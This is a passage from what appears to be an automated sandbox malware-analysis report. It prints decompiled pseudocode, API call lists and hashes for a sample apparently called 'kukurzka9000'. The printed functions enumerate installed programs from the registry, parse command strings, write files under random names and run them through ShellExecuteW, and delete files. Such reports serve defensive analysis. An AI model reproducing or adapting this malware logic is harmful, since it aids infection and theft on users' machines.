								_v60 = 1;
							}
							_t165 =  *((intOrPtr*)( *0x40e00c))(_t265, _v52);
							if(_t165 == 0) {
								L36:
								_t273 = 0;
								L37:
								LocalFree(_v12);
								goto L38;
							}
							_t273 = _v8;
							_t167 = _t165 - _t265;
							_v20 = _t167;
							if(_t167 < 0) {
								goto L37;
							}
							_t213 =  *((intOrPtr*)( *0x40e00c))(_t265, _v56);
							if(_t213 == 0) {
								goto L36;
							}
							_t214 = _t213 - _t265;
							if(_t214 >= 0) {
								_push(_t214);
								if(E0040A457(_t265,  &_v24,  *((intOrPtr*)( *0x40e198))() + _v20, _v52) != 0) {
									_v20 =  *((intOrPtr*)( *0x40e044))(0x40, 0x3f40);
									E00406468(_v24,  &_v20);
									_t240 =  *((intOrPtr*)( *0x40e00c))(_t265, _v64);
									if(_t240 == 0) {
										_t273 = 0;
									} else {
										_t241 = _t240 - _t265;
										_v92 = _t241;
										_v16 = _t241;
										if(_t241 >= 0) {
											_push(_t241);
											_v16 = _t241;
											if(E0040A457(_t265,  &_v28,  *((intOrPtr*)( *0x40e198))() + _t214, _v56) != 0) {
												_v16 =  *((intOrPtr*)( *0x40e044))(0x40, 0x3f40);
												if(E00406468(_v28,  &_v16) != 0 && _v60 != 0) {
													_t190 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
													_t215 = _t190;
													_t191 =  *((intOrPtr*)( *0x40e0ec))(_t215,  *0x40e1a4, _v12, _v20, _v16);
													_t278 = _t278 + 0x14;
													if(_t191 >= lstrlenW( *0x40e1a4)) {
														_t276 = _v84;
														 *_t276 = E0040A503( *_t276, _t215);
													}
													if(_t215 != 0) {
														LocalFree(_t215);
													}
													_t265 = _v32;
													 *_v88 =  *_v88 + 1;
												}
												LocalFree(_v16);
												_t273 = _v8;
												_v16 = _v92;
											}
										}
									}
									LocalFree(_v20);
								}
							}
							goto L37;
						}
					}
					_t209 = _v36;
					goto L41;
				}
				_push(0);
				_push(0);
				_push(_t271);
				_push(_t132);
				_push(0xffffffff);
				_push(_a4);
				_push(0);
				_push(0xfde9);
				if( *((intOrPtr*)( *0x40e0e4))() != 0) {
					goto L7;
				} else {
					LocalFree(_v44);
					LocalFree(_t264);
					LocalFree(_t209);
					LocalFree(_v40);
					goto L49;
				}
			}

APIs

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

LocalFree.KERNEL32(?), ref: 00406E67
LocalFree.KERNEL32(00000000), ref: 00406E6E
LocalFree.KERNEL32(?), ref: 00406E75
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,000000FF,00000001,00000000,00000000), ref: 00406F8B
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,000000FF,00000001,00000000,000000FF), ref: 00406FC5
LocalFree.KERNEL32(00000000), ref: 00406FDD
LocalFree.KERNEL32(?), ref: 004071C6
CloseHandle.KERNEL32(?), ref: 004071CF
DeleteFileW.KERNEL32(?), ref: 004071D6
LocalFree.KERNEL32(00000000), ref: 004071E1
LocalFree.KERNEL32(?), ref: 004071EC
LocalFree.KERNEL32(00000000), ref: 004071F8
DeleteFileW.KERNEL32(?), ref: 004071FF
LocalFree.KERNEL32(?), ref: 00407206

Strings

zh@, xrefs: 0040705E, 00407171, 0040703B
pXqt, xrefs: 00406E67, 00406E6E, 00406E75, 00406FDD, 0040712E, 0040713F, 00407155, 00407162, 0040716B, 00407174, 0040717D, 004071BD, 004071C6, 004071E1, 004071EC, 004071F8, 00407206

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: FreeLocal$ByteCharDeleteFileMultiWide$CloseHandle
String ID: pXqt$zh@
API String ID: 490209112-3098150034
Opcode ID: c8cbe69cc62f74f5a99b3f19532ac2860d420457c2f59f1cdb0e08b9d8ac2a6d
Instruction ID: f5ae4f6584a7baff5169ccf4eff2fbd10138ea77d31ce010a22c6c2769712165
Opcode Fuzzy Hash: c8cbe69cc62f74f5a99b3f19532ac2860d420457c2f59f1cdb0e08b9d8ac2a6d
Instruction Fuzzy Hash: D6E18471A00215AFEB04DFA6DD85EAEBBB5EF48310F004439FA15B7390DBB46911CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409581 Relevance: 44.1, APIs: 19, Strings: 6, Instructions: 309registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

RegCloseKey.ADVAPI32(00000000), ref: 004095C6
LocalFree.KERNEL32(00000000), ref: 00409631
RegCloseKey.ADVAPI32(000F003F), ref: 0040963A
RegCloseKey.ADVAPI32(00000000), ref: 0040974E
LocalFree.KERNEL32(00000000), ref: 004097D7
RegCloseKey.ADVAPI32(000F003F), ref: 004097E0

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 004095B3, 00409763
DisplayName, xrefs: 00409683, 00409829
pXqt, xrefs: 00409631, 00409712, 0040971E, 00409725, 00409738, 004097D7, 004098B8, 004098C4, 004098CB, 004098DE
%s %s, xrefs: 004096E0, 00409886
DisplayVersion, xrefs: 004096BC, 00409862
?, xrefs: 00409591

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Close$Free$Locallstrlen$Global
String ID: %s %s$?$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall$pXqt
API String ID: 4129056489-2846372665
Opcode ID: 0d3dbb5b45545043f816d409d6e6463967e53ce16be53e8c1f48be56fbdb61cf
Instruction ID: d80988b05da4082da03304b58d54d9122d1b9f20f569912955d0e5abbda793b7
Opcode Fuzzy Hash: 0d3dbb5b45545043f816d409d6e6463967e53ce16be53e8c1f48be56fbdb61cf
Instruction Fuzzy Hash: 60B16C71A00219BFDB05DFA6DD84EAF7BB9EF49340B104425FA05B7261D7749E10CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004073C7 Relevance: 42.3, APIs: 22, Strings: 2, Instructions: 315
memoryCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E004073C7() {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				char _v24;
				void* _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t65;
				void* _t72;
				void* _t79;
				void* _t86;
				void* _t97;
				void* _t108;
				void* _t122;
				void* _t123;
				char _t128;
				void* _t137;
				void* _t139;
				void* _t140;
				void* _t142;
				void* _t144;
				void* _t183;
				intOrPtr _t188;
				void* _t189;
				void* _t190;
				void* _t192;
				void* _t194;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				signed int _t205;
				void* _t207;
				signed int _t209;
				void* _t211;
				signed int _t213;
				void* _t215;
				signed int _t217;
				char _t218;
				void* _t219;
				void* _t222;
				void* _t223;

				_t190 =  *((intOrPtr*)( *0x40e18c))(_t144,  *0x40e3a0, _t189);
				if(_t190 == 0) {
					L41:
					return 0;
				} else {
					while(1) {
						_t192 = _t190 + 8;
						_t65 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t192) + _t63);
						_t137 = _t65;
						_v20 = _t137;
						_t202 =  *((intOrPtr*)( *0x40e18c))(_t192,  *0x40e1f0);
						if(_t202 == 0) {
							break;
						}
						_t205 = _t202 - _t192 >> 1;
						if(E0040A3E4(_t192,  &_v20, 0, _t205) == 0) {
							_t137 = _v20;
							break;
						}
						_t194 = _t192 + _t205 * 2 + 2;
						_t72 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t194) + _t70);
						_t139 = _t72;
						_v12 = _t139;
						_t207 =  *((intOrPtr*)( *0x40e18c))(_t194,  *0x40e20c);
						if(_t207 == 0) {
							L36:
							LocalFree(_t139);
							L34:
							LocalFree(_v20);
							L39:
							L40:
							goto L41;
						}
						_t209 = _t207 - _t194 >> 1;
						if(E0040A3E4(_t194,  &_v12, 0, _t209) == 0) {
							_t139 = _v12;
							goto L36;
						}
						_t196 = _t194 + _t209 * 2 + 2;
						_t79 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t196) + _t77);
						_t140 = _t79;
						_v8 = _t140;
						_t211 =  *((intOrPtr*)( *0x40e18c))(_t196,  *0x40e20c);
						if(_t211 == 0) {
							L33:
							LocalFree(_t140);
							LocalFree(_v12);
							goto L34;
						}
						_t213 = _t211 - _t196 >> 1;
						if(E0040A3E4(_t196,  &_v8, 0, _t213) == 0) {
							_t140 = _v8;
							goto L33;
						}
						_t198 = _t196 + _t213 * 2 + 2;
						_t86 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t198) + _t84);
						_t137 = _t86;
						_v16 = _t137;
						_t215 =  *((intOrPtr*)( *0x40e18c))(_t198,  *0x40e228);
						if(_t215 == 0) {
							L31:
							LocalFree(_v12);
							LocalFree(_v20);
							L29:
							break;
						}
						_t217 = _t215 - _t198 >> 1;
						if(E0040A3E4(_t198,  &_v16, 0, _t217) == 0) {
							_t137 = _v16;
							goto L31;
						}
						_t15 = _t217 + 1; // 0x1
						_t199 = _v20;
						_v32 = _t198 + _t15 * 2;
						_push(_t199);
						if( *((intOrPtr*)( *0x40e074))() != 1) {
							_push(_t199);
							if( *((intOrPtr*)( *0x40e074))() != 2) {
								_push(_t199);
								if( *((intOrPtr*)( *0x40e074))() == 3) {
									ShellExecuteW(0, L"open", _v16, _v12, 0, 0);
								}
							}
							L24:
							_t97 = _v8;
							L25:
							LocalFree(_t97);
							LocalFree(_v12);
							LocalFree(_t199);
							LocalFree(_v16);
							_t190 =  *((intOrPtr*)( *0x40e18c))(_v32,  *0x40e3a0);
							if(_t190 != 0) {
								continue;
							}
							goto L40;
						}
						_t97 = _v8;
						if( *_t97 != 0x25) {
							goto L25;
						}
						_t21 = _t97 + 2; // 0x407c02
						_t218 = _t21;
						_v24 = _t218;
						_t108 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
						_t137 = _t108;
						_v20 = _t137;
						_t219 =  *((intOrPtr*)( *0x40e18c))(_t218,  *0x40e364);
						if(_t219 == 0) {
							L28:
							LocalFree(_v8);
							LocalFree(_v12);
							LocalFree(_t199);
							LocalFree(_v16);
							goto L29;
						}
						_t221 = _t219 - _v24 >> 1;
						if(E0040A3E4(_v24,  &_v20, 0, _t219 - _v24 >> 1) == 0) {
							_t137 = _v20;
							goto L28;
						}
						_t142 =  *((intOrPtr*)( *0x40e044))(0x40, 0x410);
						_push(0x208);
						_push(_t142);
						_push(_v20);
						if( *((intOrPtr*)( *0x40e15c))() != 0) {
							_t222 = E0040A503(_t142, _v24 + 2 + _t221 * 2);
							_t122 =  *((intOrPtr*)( *0x40e044))(0x40, 0x209);
							_t183 = 8;
							_t123 = E0040A05F(_t122, _t183);
							_t143 = _t123;
							_push(_t222);
							_v28 = _t123;
							if( *((short*)(_t222 +  *((intOrPtr*)( *0x40e08c))() * 2 - 2)) != 0x5c) {
								_t188 =  *0x40e258; // 0x8374a8
								_t222 = E0040A503(_t222, _t188);
							}
							_t142 = E0040A503(E0040A503(E0040A503(_t222, _t143), "."), _v16);
							_t128 =  *0x40e374; // 0x804a18
							_v24 = _t128;
							_t223 = E00408619( &_v24);
							if(E00408495(_v12, _t223, _t142) != 0) {
								ShellExecuteW(0, 0, _t142, 0, 0, 0);
							}
							LocalFree(_v28);
							LocalFree(_t223);
						}
						LocalFree(_t142);
						LocalFree(_v20);
						goto L24;
					}
					LocalFree(_t137);
					goto L39;
				}
			}

APIs

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 004073FE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 00407762

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 00407452
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 004074A6
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,00407C00), ref: 004074FA
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00407673
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 0040767C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 00407683
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 0040768A
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407693

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

ShellExecuteW.SHELL32(00000000,open,?,?,00000000,00000000), ref: 004076C3
LocalFree.KERNEL32(00407C00,?,?,?,?,?,?,00407C00), ref: 004076CD
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 004076D6
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 004076DD
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 004076E6
LocalFree.KERNEL32(00407C00,?,?,?,?,?,?,00407C00), ref: 0040770E
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407717
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 0040771E
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407727
LocalFree.KERNEL32(?,?,?,?,?,?,?,00407C00), ref: 00407735
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 00407744
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,00407C00), ref: 0040774D

Strings

open, xrefs: 004076BD
pXqt, xrefs: 0040767C, 00407683, 0040768A, 00407693, 004076CD, 004076D6, 004076DD, 004076E6, 0040770E, 00407717, 0040771E, 00407727, 00407735, 00407744, 0040774D, 00407762

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$ExecuteShelllstrlen$Global
String ID: open$pXqt
API String ID: 4025529775-2121166305
Opcode ID: a1c46eef3cfaacafb93fa33fc14c73831b07a4a1779f76e502dab9b557ed458a
Instruction ID: c37f464f11a496ac5bed0fa78998882daeccb467a6fdaf8c4272b4e6ddd95f6a
Opcode Fuzzy Hash: a1c46eef3cfaacafb93fa33fc14c73831b07a4a1779f76e502dab9b557ed458a
Instruction Fuzzy Hash: 54A1FA72E00215AFDB149BA6DE84D7E7BB5EB44310B004835E905F73A1DB78BD11CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7DA Relevance: 39.3, APIs: 25, Strings: 1, Instructions: 347
memoryCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E0040A7DA(short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				signed int _v36;
				void* _v40;
				void* _v44;
				short* _v48;
				void* _v52;
				intOrPtr _v56;
				signed int _v60;
				char _v64;
				void* __ecx;
				void* _t80;
				signed int _t81;
				void* _t84;
				void* _t88;
				void* _t91;
				void* _t94;
				void* _t116;
				void* _t120;
				void* _t139;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				void* _t150;
				void* _t161;
				void* _t162;
				void* _t163;
				intOrPtr _t164;
				char _t206;
				void* _t219;
				void* _t228;
				signed int _t231;
				intOrPtr _t232;
				void* _t235;
				void* _t242;
				signed int _t246;
				signed int _t249;
				void* _t250;
				void* _t251;
				void* _t253;
				void* _t254;

				_v48 = __edx;
				_v28 = _t164;
				_t161 =  *((intOrPtr*)( *0x40e18c))(_t164,  *0x40e2a4);
				if(_t161 == 0) {
					L24:
					return 0;
				}
				while(1) {
					_t162 = _t161 + 0xa;
					_t80 =  *((intOrPtr*)( *0x40e18c))(_t162,  *0x40e1f0);
					_t3 = _t80 + 2; // 0x2
					_t224 = _t3;
					_t81 =  *((intOrPtr*)( *0x40e18c))(_t3,  *0x40e1e8);
					_v36 = _t81;
					_t84 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t82);
					_v8 = _t84;
					_t88 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t86);
					_v12 = _t88;
					_t91 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t89);
					_v16 = _t91;
					_t94 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t92);
					_v20 = _t94;
					_t242 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_v28) + _t95);
					_t100 = _v36 - _t162 >> 1;
					_v24 = _t242;
					_v44 = _v36 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v8, _t224 - _t162 >> 1, _t100) == 0) {
						break;
					}
					_t228 =  *((intOrPtr*)( *0x40e18c))(_v36 + 2,  *0x40e1e8);
					_t246 = _t228 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v12, _v44 + 1, _t246) == 0) {
						L20:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						L22:
						L23:
						goto L24;
					}
					_t21 = _t228 + 2; // 0x2
					_t116 =  *((intOrPtr*)( *0x40e18c))(_t21,  *0x40e1e8);
					_v44 = _t116;
					_t23 = _t246 + 1; // 0x1
					_t231 = _t116 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v16, _t23, _t231) == 0) {
						goto L20;
					}
					_t120 =  *((intOrPtr*)( *0x40e18c))(_v44 + 2,  *0x40e1e8);
					_v44 = _t120;
					_t27 = _t231 + 1; // 0x1
					_t249 = _t120 - _t162 >> 1;
					if(E0040A3E4(_t162,  &_v20, _t27, _t249) == 0) {
						goto L20;
					}
					_t232 =  *((intOrPtr*)( *0x40e18c))(_v44 + 2,  *0x40e228);
					_v56 = _t232;
					_t32 = _t249 + 1; // 0x1
					if(E0040A3E4(_t162,  &_v24, _t32, _t232 - _t162 >> 1) == 0) {
						goto L20;
					}
					_t250 =  *((intOrPtr*)( *0x40e074))(_v12);
					if(_t250 > 0) {
						_t163 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
						_push(0);
						_push(_t250);
						_push(_t163);
						_push(0);
						if( *((intOrPtr*)( *0x40e0c4))() != 0) {
							_t139 =  *((intOrPtr*)( *0x40e000))(_t163, _t163, _v16);
							_v36 = _v36 & 0x00000000;
							_t163 = _t139;
							_v32 =  *((intOrPtr*)( *0x40e044))(0x40, 0x2000);
							E0040B177(_v8, _t163, _t163, _v20, _v24, _t141,  &_v36);
							_t254 = _t254 + 0x14;
							if(_v36 <= 0) {
								_t251 = _v32;
							} else {
								_t145 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t146 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t219 = 0x10;
								_t147 = E0040A05F(_t145, _t219);
								_t253 = _t147;
								_v52 = _t253;
								_t149 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t146,  *0x40e210), _t253);
								_t206 =  *0x40e204; // 0x837988
								_v60 = _v60 & 0x00000000;
								_v64 = _t206;
								_v44 = _t149;
								_t150 = E00408619( &_v44);
								_v40 = _t150;
								_t235 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
								 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t253, 0xffffffff, 0, 0, 0, 0);
								if(0 == 0) {
									_t251 = _v32;
								} else {
									 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t253, 0xffffffff, _t235, 0, 0, 0);
									_t251 = _v32;
									if(0 != 0) {
										E00407EDB(_v48, _t235, 0, 0, _v36, _t251, _v40,  &_v64);
										_t254 = _t254 + 0x18;
									}
								}
								LocalFree(_t235);
								LocalFree(_v40);
								LocalFree(_v44);
								LocalFree(_v52);
								_t232 = _v56;
							}
							LocalFree(_t251);
						}
						LocalFree(_t163);
					}
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					_t66 = _t232 + 2; // 0x2
					_t161 =  *((intOrPtr*)( *0x40e18c))(_t66,  *0x40e2a4);
					if(_t161 != 0) {
						continue;
					} else {
						goto L23;
					}
				}
				LocalFree(_v8);
				LocalFree(_v12);
				LocalFree(_v16);
				LocalFree(_v20);
				LocalFree(_t242);
				goto L22;
			}

0x0040a7ec
0x0040a7f0
0x0040a7f5
0x0040a7f9
0x0040abd3
0x0040abd7
0x0040abd7
0x0040a801
0x0040a80c
0x0040a810
0x0040a81e
0x0040a81e
0x0040a822
0x0040a833
0x0040a83d
0x0040a848
0x0040a857
0x0040a868
0x0040a872
0x0040a883
0x0040a88d
0x0040a89e
0x0040a8aa
0x0040a8b8
0x0040a8be
0x0040a8c1
0x0040a8cd
0x00000000
0x00000000
0x0040a8ee
0x0040a8f4
0x0040a904
0x0040ab7d
0x0040ab80
0x0040ab89
0x0040ab92
0x0040ab9b
0x0040abcb
0x0040abcb
0x0040abd1
0x00000000
0x0040abd2
0x0040a916
0x0040a91a
0x0040a91e
0x0040a923
0x0040a926
0x0040a938
0x00000000
0x00000000
0x0040a951
0x0040a955
0x0040a95a
0x0040a95d
0x0040a96f
0x00000000
0x00000000
0x0040a98a
0x0040a991
0x0040a999
0x0040a9a8
0x00000000
0x00000000
0x0040a9b8
0x0040a9bc
0x0040a9d7
0x0040a9d9
0x0040a9db
0x0040a9dc
0x0040a9dd
0x0040a9e3
0x0040a9f3
0x0040a9f5
0x0040a9f9
0x0040aa0c
0x0040aa1d
0x0040aa22
0x0040aa29
0x0040ab21
0x0040aa2f
0x0040aa3c
0x0040aa49
0x0040aa4d
0x0040aa52
0x0040aa63
0x0040aa66
0x0040aa6f
0x0040aa74
0x0040aa7a
0x0040aa7e
0x0040aa84
0x0040aa87
0x0040aa99
0x0040aaa4
0x0040aab5
0x0040aab9
0x0040aaf7
0x0040aabb
0x0040aad0
0x0040aad2
0x0040aad7
0x0040aaed
0x0040aaf2
0x0040aaf2
0x0040aad7
0x0040aafb
0x0040ab04
0x0040ab0d
0x0040ab16
0x0040ab1c
0x0040ab1c
0x0040ab25
0x0040ab25
0x0040ab2c
0x0040ab2c
0x0040ab35
0x0040ab3e
0x0040ab47
0x0040ab50
0x0040ab59
0x0040ab6b
0x0040ab71
0x0040ab75
0x00000000
0x0040ab7b
0x00000000
0x0040ab7b
0x0040ab75
0x0040aba9
0x0040abb2
0x0040abbb
0x0040abc4
0x0040abcb
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A83D
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A857
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A872
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A88D
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040A8A8

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB2C

Part of subcall function 0040B177: LocalFree.KERNEL32(00000000), ref: 0040B25D
Part of subcall function 0040B177: LocalFree.KERNEL32(?), ref: 0040B4D9
Part of subcall function 0040B177: FindClose.KERNEL32(00000000), ref: 0040B4E0

LocalFree.KERNEL32(?), ref: 0040AB25

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000), ref: 0040AAFB
LocalFree.KERNEL32(?), ref: 0040AB04
LocalFree.KERNEL32(?), ref: 0040AB0D
LocalFree.KERNEL32(?), ref: 0040AB16
LocalFree.KERNEL32(00407B9D,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB35
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB3E
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB47
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB50
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB59
LocalFree.KERNEL32(00407B9D,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB80
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB89
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB92
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040AB9B
LocalFree.KERNEL32(00407B9D,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABA9
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABB2
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABBB
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABC4
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B9D), ref: 0040ABCB

Strings

pXqt, xrefs: 0040AAFB, 0040AB04, 0040AB0D, 0040AB16, 0040AB25, 0040AB2C, 0040AB35, 0040AB3E, 0040AB47, 0040AB50, 0040AB59, 0040AB80, 0040AB89, 0040AB92, 0040AB9B, 0040ABA9, 0040ABB2, 0040ABBB, 0040ABC4, 0040ABCB

Memory Dump Source

Source File: 00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.400970975.0000000000410000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_kukurzka9000.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$CloseFindGlobal
String ID: pXqt
API String ID: 2275475116-1234763034
Opcode ID: 396c3cc9efd4a9f6a2a8ad3e428ea3bae641bf45c8fb29a5b1716293b6aaf1ac
Instruction ID: f9c1c7988c740e23ec6b3556d7cabdce8ac8e299f89005d849d6ceee94cacba7
Opcode Fuzzy Hash: 396c3cc9efd4a9f6a2a8ad3e428ea3bae641bf45c8fb29a5b1716293b6aaf1ac
Instruction Fuzzy Hash: 2DC18772900215AFDF089FA6DE45EAE7BB5EF48310F044539F905B72A0DB746D20CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00404F7E Relevance: 37.8, APIs: 24, Strings: 1, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404F7E(void* __ecx, short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				short* _v44;
				void* _v48;
				signed int _v52;
				char _v56;
				signed int _t60;
				void* _t62;
				void* _t71;
				void* _t78;
				void* _t85;
				void* _t94;
				signed int _t103;
				void* _t109;
				void* _t111;
				void* _t112;
				void* _t115;
				char _t116;
				void* _t117;
				void* _t127;
				void* _t140;
				signed int _t142;
				void* _t144;
				signed int _t146;
				void* _t165;
				void* _t173;
				signed int _t177;
				void* _t178;
				void* _t180;
				void* _t182;
				void* _t184;
				void* _t187;
				void* _t188;
				signed int _t193;
				signed int _t197;
				void* _t199;
				void* _t202;

				_v24 = _v24 & 0x00000000;
				_t142 = 0;
				_v44 = __edx;
				_v40 = _v40 & 0;
				_t60 =  *((intOrPtr*)( *0x40e18c))(__ecx,  *0x40e39c);
				_t177 = _t60;
				if(_t177 == 0) {
					return _t60 | 0xffffffff;
				}
				_t178 = _t177 + 0xc;
				_t62 =  *((intOrPtr*)( *0x40e18c))(_t178,  *0x40e1f0);
				if(_t62 == 0) {
					L5:
